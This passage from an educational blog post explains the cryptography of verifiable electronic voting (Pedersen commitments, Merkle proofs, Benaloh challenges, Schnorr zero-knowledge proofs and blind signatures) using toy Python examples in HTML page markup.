</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;C abre como voto=1 com nonce </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C=1 abre como voto=0 com nonce 0
</span></span><span class="line"><span class="cl">C=1 abre como voto=1 com nonce 3</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Read that again, because this is the heart of the article. The commitment <code>C = 1</code> is consistent with <strong>both stories</strong>. Anyone who sees only <code>C</code> has no way to know which one is true — not by brute force, not with a quantum computer, because both openings exist mathematically. The value <code>C</code> simply does not contain the vote&rsquo;s information.</p>
<p>&ldquo;Hold on,&rdquo; you say, &ldquo;so the voter can change their vote afterwards?&rdquo; No, and that&rsquo;s the other half of the property: the commitment is <strong>computationally binding</strong>. Whoever generated the commitment with <code>(vote=1, n=3)</code> can only reveal the other opening (<code>vote=0, n=0</code>) if they can compute a discrete logarithm — that is, find <code>x</code> such that <code>g^x = h mod p</code>. With <code>p = 23</code> that&rsquo;s trivial; with 2048 bits, it&rsquo;s computationally impossible. To sum up:</p>
<ul>
<li><strong>Outsiders</strong> can&rsquo;t discover the vote (hiding).</li>
<li><strong>Whoever committed</strong> can&rsquo;t change the vote afterwards (binding).</li>
</ul>
<p>And the final detail that kills the halter vote: <strong>the machine generates the nonce, not the voter.</strong> The voter sees their choice on the screen, the machine makes the commitment internally, discards the nonce, and prints only the <code>C</code> — the serial. The voter leaves the booth with no way to open their own commitment, even if they want to.</p>
<p>(One implementation detail I&rsquo;ll simplify from here on: Pedersen hides so well that <strong>nobody</strong> can decrypt it — not even the authorities at tally time. In practice, the machine also publishes an ElGamal ciphertext of the same vote: just as opaque to any outsider, but decryptable by the authorities at the tally, with a ZK proof that both carry the same vote. Our toy Pedersen plays both roles in this article, to keep the math on small numbers.)</p>
<h2>Building block 3: the Merkle tree — a ballot box anyone can audit<span class="hx:absolute hx:-mt-20" id="building-block-3-the-merkle-tree--a-ballot-box-anyone-can-audit"></span>
    <a href="#building-block-3-the-merkle-tree--a-ballot-box-anyone-can-audit" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Where do these commitments live? In a public structure anyone can download and verify: a Merkle tree. If you watched my video on <a href="/2023/11/10/akitando-147-criptografia-na-pratica-certificados-bittorrent-git-bitcoin/">cryptography in practice — certificates, BitTorrent, Git, Bitcoin</a>, you&rsquo;ve seen this structure in action: it&rsquo;s the same one that scales BitTorrent, organizes Git commits, and packs the transactions of a Bitcoin block.</p>
<p>The construction is simple: each leaf is the hash of a vote (one voter&rsquo;s commitment <code>C</code>), and each internal node is the hash of the concatenation of its two children, until a single hash remains at the top: the <strong>root</strong>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">H</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">eleitores</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">7</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">5</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="n">leaves</span> <span class="o">=</span> <span class="p">[</span><span class="n">H</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">pedersen</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">eleitores</span><span class="p">)]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>With the 8 example votes, the leaves look like this (hashes abbreviated):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">eleitor 0: voto=1 nonce=3  -&gt; C=1  -&gt; folha=ef134f2a180ba05d...
</span></span><span class="line"><span class="cl">eleitor 1: voto=0 nonce=7  -&gt; C=12 -&gt; folha=ce356d2f943ea5af...
</span></span><span class="line"><span class="cl">eleitor 2: voto=1 nonce=2  -&gt; C=3  -&gt; folha=8e0375adfc1f4563...
</span></span><span class="line"><span class="cl">eleitor 3: voto=1 nonce=10 -&gt; C=12 -&gt; folha=df284a49f837c454...
</span></span><span class="line"><span class="cl">eleitor 4: voto=0 nonce=5  -&gt; C=16 -&gt; folha=fd6df9e3530cb74f...
</span></span><span class="line"><span class="cl">eleitor 5: voto=1 nonce=1  -&gt; C=9  -&gt; folha=e0e9d38f9ccb7a41...
</span></span><span class="line"><span class="cl">eleitor 6: voto=0 nonce=8  -&gt; C=4  -&gt; folha=e719f7fde83fafda...
</span></span><span class="line"><span class="cl">eleitor 7: voto=1 nonce=4  -&gt; C=8  -&gt; folha=1393ac80e69a8991...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">RAIZ PUBLICA: 48826b6481b574e37156f85e34d877105bc55073fb5a5b981239572a8e7c4b61</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>(The votes and nonces in the table are shown in the clear only so you can check the math; the public tree holds only the leaves — opaque hashes.)</p>
<p>The root is the &ldquo;summary&rdquo; of the whole election: 32 bytes representing every vote. If <strong>a single bit</strong> of a single vote changes, the root changes completely. The root and the entire tree get published. Any citizen, at home, with open-source code, rebuilds the tree and checks whether the published root matches. That&rsquo;s <strong>universal verifiability</strong>.</p>
<p>Now the individual part. Suppose you&rsquo;re voter 4. Your receipt is the serial — the leaf <code>fd6df9e3530cb74f1f0795b751a43454cab281a431d0558b413e33bba83a4100</code>, which is the hash of your commitment <code>C = 16</code> at position 4 in the tree. To prove it&rsquo;s in the tree, you don&rsquo;t need to download and check all 8 votes — you need only <code>log2(8) = 3</code> hashes, the path of &ldquo;siblings&rdquo; up to the root:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">merkle_verify</span><span class="p">(</span><span class="n">leaf</span><span class="p">,</span> <span class="n">proof</span><span class="p">,</span> <span class="n">root</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">cur</span> <span class="o">=</span> <span class="n">leaf</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">h_</span><span class="p">,</span> <span class="n">side</span> <span class="ow">in</span> <span class="n">proof</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">cur</span> <span class="o">=</span> <span class="n">H</span><span class="p">(</span><span class="n">h_</span> <span class="o">+</span> <span class="n">cur</span><span class="p">)</span> <span class="k">if</span> <span class="n">side</span> <span class="o">==</span> <span class="s2">&#34;esq&#34;</span> <span class="k">else</span> <span class="n">H</span><span class="p">(</span><span class="n">cur</span> <span class="o">+</span> <span class="n">h_</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">cur</span> <span class="o">==</span> <span class="n">root</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">prova do eleitor 4:
</span></span><span class="line"><span class="cl">  (dir) e0e9d38f9ccb7a41...  (irmão: folha do eleitor 5)
</span></span><span class="line"><span class="cl">  (dir) 3149c3bf17d98fbc...  (irmão: nó dos eleitores 6-7)
</span></span><span class="line"><span class="cl">  (esq) 3b902c849a40619b...  (irmão: nó dos eleitores 0-3)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">verificação local: True
</span></span><span class="line"><span class="cl">tentando folha adulterada: False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>You take your serial, concatenate it with the 3 proof hashes in the right order, hash three times, and check whether you land on the public root. If you do, it&rsquo;s <strong>mathematically impossible</strong> for your vote not to be in the tree — because producing a fake proof would require finding a SHA-256 collision, and nobody on the planet knows how to do that. If someone swaps your vote afterwards, your proof stops working and you hold evidence of the fraud in your hand. In a real election with 150 million votes, the proof would be about 28 hashes — fits on a paper receipt or a QR code.</p>
<p>Notice what just happened: you proved that <strong>a piece of information is in the public tree</strong> and that <strong>nobody messed with it</strong>, carrying home only a 32-byte number that, by itself, says absolutely nothing about the content. That&rsquo;s what people mean by &ldquo;zero knowledge&rdquo; in this context: the verification happens without the knowledge (the vote) ever having to travel.</p>
<h2>Building block 4: the Benaloh challenge — checking the machine on the spot<span class="hx:absolute hx:-mt-20" id="building-block-4-the-benaloh-challenge--checking-the-machine-on-the-spot"></span>
    <a href="#building-block-4-the-benaloh-challenge--checking-the-machine-on-the-spot" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s one blind spot left. The machine shows &ldquo;vote recorded&rdquo; on the screen and prints your serial <code>C</code>. At home, you confirm that <code>C</code> sits in the tree. All good? Not quite. What if the machine <strong>lied</strong> and committed a different vote? The screen shows the candidate you picked, but under the hood it computed the commitment for another one. You would never notice, because the commitment is opaque by design. That&rsquo;s the hiding property working against you.</p>
<p>The classic fix comes from cryptographer Josh Benaloh, and it goes by <strong>Benaloh challenge</strong> (or <em>cast-or-challenge</em>). The idea: after the machine shows the commitment <code>C</code> on screen, but <strong>before</strong> you confirm, you get two options:</p>
<ul>
<li><strong>Cast</strong>: the vote counts, enters the tree, and the nonce is destroyed forever.</li>
<li><strong>Challenge</strong>: you declare that ballot a <strong>test vote</strong>. The machine must reveal the nonce and the vote it put inside the commitment, and you redo the math on the spot — in an independent app, on your own phone, not on the machine&rsquo;s software:</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># the machine showed on screen: C = 1</span>
</span></span><span class="line"><span class="cl"><span class="c1"># you challenged; the machine reveals: vote=1, nonce=3</span>
</span></span><span class="line"><span class="cl"><span class="n">pedersen</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>   <span class="c1"># True -&gt; the machine committed exactly what you picked</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If it matches, the machine was honest <strong>on that ballot</strong>. The test ballot is spoiled and never enters the tally — the revealed nonce would make it readable — and you vote again, for real this time.</p>
<p>Now suppose a rigged machine that flips a fraction of the votes. You pick <code>vote=1</code>; it internally records <code>vote=0</code> and shows <code>C = 12</code> on screen (<code>pedersen(0, 7) = 12</code>). If you <strong>cast</strong>, the fraud sails through. But if you <strong>challenge</strong>, the machine is cornered: it has to reveal a <code>(vote, nonce)</code> pair that opens <code>C = 12</code>. The only one it knows is <code>(0, 7)</code> — and revealing that exposes the swap right in front of you: &ldquo;I voted 1!&rdquo;. Opening it as <code>vote=1</code> would require finding a nonce <code>n</code> with <code>pedersen(1, n) = 12</code>, which is the discrete log problem all over again. With our toy prime a brute force search finds one (<code>n = 10</code> exists), but with 2048-bit primes a cheating machine flat out cannot produce the answer.</p>
<p>And what springs the trap: the machine <strong>cannot know in advance</strong> whether you&rsquo;ll cast or challenge. The decision is yours, made after the commitment is already on screen. If a slice of the electorate tests a few ballots before voting for real, a machine that flips votes at scale gets caught with overwhelming probability. Real verifiable voting systems like Helios and ElectionGuard use exactly this mechanism.</p>
<p>And notice this breaks nobody&rsquo;s secrecy: the revealed nonce belongs to a <strong>spoiled</strong> ballot that doesn&rsquo;t count. The vote that counts keeps its nonce destroyed and its commitment impenetrable.</p>
<h2>Building block 5: a real zero-knowledge proof — Schnorr<span class="hx:absolute hx:-mt-20" id="building-block-5-a-real-zero-knowledge-proof--schnorr"></span>
    <a href="#building-block-5-a-real-zero-knowledge-proof--schnorr" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>One more piece is missing. What guarantees that each commitment in the tree contains a <strong>valid vote</strong> — and not, say, <code>vote = 500</code>, which would inflate the result? The machine must prove the commitment opens to a legitimate value <strong>without opening the commitment</strong>. That&rsquo;s a zero-knowledge proof in the strict sense.</p>
<p>The canonical example, and one you can demonstrate with small numbers, is the <strong>Schnorr</strong> protocol: proving you know a secret <code>s</code> such that <code>y = g^s mod p</code>, without revealing <code>s</code>. The intuition before the math: it&rsquo;s Ali Baba&rsquo;s cave. The cave has two passages that meet at a locked door. You prove you have the key by walking in one side and coming out whichever side the verifier calls — without ever showing the key. Without the key, you&rsquo;d only guess the call right by luck, 50% of the time; after 20 rounds, the odds of fooling anyone are below one in a million.</p>
<p>The mathematical version, with our toy numbers (<code>p = 23</code>, <code>g = 4</code>, order <code>q = 11</code>):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">segredo</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">segredo</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>   <span class="c1"># y = 4^7 mod 23 = 8  (public value)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. commitment: the prover picks a random r and sends t</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl"><span class="n">t</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>          <span class="c1"># t = 4^3 mod 23 = 18</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. challenge: the verifier picks a random c</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. response: the prover computes z</span>
</span></span><span class="line"><span class="cl"><span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span> <span class="o">+</span> <span class="n">c</span> <span class="o">*</span> <span class="n">segredo</span><span class="p">)</span> <span class="o">%</span> <span class="n">q</span>  <span class="c1"># z = (3 + 5*7) mod 11 = 5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># verification: g^z == t * y^c (mod p)</span>
</span></span><span class="line"><span class="cl"><span class="n">esq</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>                 <span class="c1"># 4^5 mod 23 = 12</span>
</span></span><span class="line"><span class="cl"><span class="nb">dir</span> <span class="o">=</span> <span class="p">(</span><span class="n">t</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>       <span class="c1"># 18 * 8^5 mod 23 = 12</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">esq</span> <span class="o">==</span> <span class="nb">dir</span><span class="p">)</span>                  <span class="c1"># True</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It works because <code>g^z = g^(r + c·s) = g^r · (g^s)^c = t · y^c</code>. The algebra checks out. Now observe what the verifier saw: the numbers <code>t</code>, <code>c</code>, <code>z</code>, and the final check. At no point did the secret <code>s = 7</code> show up. And an impostor who doesn&rsquo;t know <code>s</code> can&rsquo;t answer an arbitrary challenge: if they guess <code>z = 2</code>, the verifier computes <code>g^2 = 16 ≠ 12</code> and the fraud is exposed.</p>
<p>And why does the verifier learn <strong>nothing</strong> about <code>s</code>, rather than just &ldquo;not much&rdquo;? Because the whole conversation could have been fabricated by someone who <strong>doesn&rsquo;t know the secret</strong>, in this inverted order:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># simulator: pick c and z FIRST, then compute the t that closes the equation</span>
</span></span><span class="line"><span class="cl"><span class="n">c_sim</span><span class="p">,</span> <span class="n">z_sim</span> <span class="o">=</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">9</span>
</span></span><span class="line"><span class="cl"><span class="n">t_sim</span> <span class="o">=</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="o">-</span><span class="n">c_sim</span> <span class="o">%</span> <span class="n">q</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>  <span class="c1"># t = 8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># checking the forged transcript:</span>
</span></span><span class="line"><span class="cl"><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">z_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>              <span class="c1"># 4^9 mod 23 = 13</span>
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="n">t_sim</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">c_sim</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span>  <span class="c1"># 8 * 8^5 mod 23 = 13  -&gt; it matches!</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The forged transcript <code>(t=8, c=5, z=9)</code> passes verification and is <strong>indistinguishable</strong> from a real one. If anyone can fabricate a valid conversation without knowing the secret, then the real conversation cannot contain any information about the secret. That&rsquo;s what &ldquo;zero knowledge&rdquo; formally means. (For use outside a lab, the challenge <code>c</code> is derived by hashing the commitment — the Fiat-Shamir transform — and the proof becomes a single, non-interactive object that anyone verifies offline.)</p>
<p>In our hypothetical election, the machine publishes, alongside each vote, a proof of this kind — in practice, an OR-variant (&ldquo;the vote is 0 <strong>or</strong> it is 1&rdquo;, without saying which) — and any auditor verifies that every vote in the tree is valid, without ever seeing a single one.</p>
<h2>Building block 6: what stops phantom votes?<span class="hx:absolute hx:-mt-20" id="building-block-6-what-stops-phantom-votes"></span>
    <a href="#building-block-6-what-stops-phantom-votes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>One hole is left, and it&rsquo;s a favorite among digital-election skeptics: what stops the authority from <strong>stuffing the tree with invented votes</strong>? Every commitment in the Merkle tree carries a ZK proof that it contains a valid vote — but the proof only guarantees the value is 0 or 1. A thousand phantom votes would be a thousand perfectly valid commitments with perfectly correct proofs. The tree is public, anyone can count the leaves&hellip; but who says there should be 8 and not 8,000?</p>
<p>The first answer is replication. The tree follows the transparency-log model — the same Certificate Transparency that protects the HTTPS certificates you use all day: one publisher writes, and dozens of independent observers (parties, the bar association, universities, the press, you) copy the tree, sign the root, and cross-check each other. Rewriting history would mean convincing all of them to accept a root different from the one they already signed.</p>
<p>That protects what&rsquo;s already published. But <strong>creating</strong> phantom votes? That&rsquo;s where the most elegant piece of all comes in, from the same David Chaum who invented digital cash and mix-nets: the <strong>blind signature</strong> (1982).</p>
<p>The flow: you authenticate at the registration desk like today — ID, biometrics. In the booth, the machine computes your commitment (Building block 2), but before publishing it needs a credential from the desk. The machine <strong>blinds</strong> the commitment with a random factor and sends the desk only the blinded value — and here being online is no problem at all, as we saw in the air-gap section. The desk, which already registered your authentication, signs exactly once, without seeing the content. The machine unblinds the signature and publishes the pair <code>(commitment, signature)</code>. In the end, the desk has no idea which commitment it signed — so it cannot link your identity to your vote. With toy RSA, you can watch the magic happen:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># the desk&#39;s toy RSA: n=3233, e=17 (public), d=2753 (private)</span>
</span></span><span class="line"><span class="cl"><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="mi">3233</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">2753</span>
</span></span><span class="line"><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mi">16</span>        <span class="c1"># your Pedersen commitment, the same one from Building block 3</span>
</span></span><span class="line"><span class="cl">
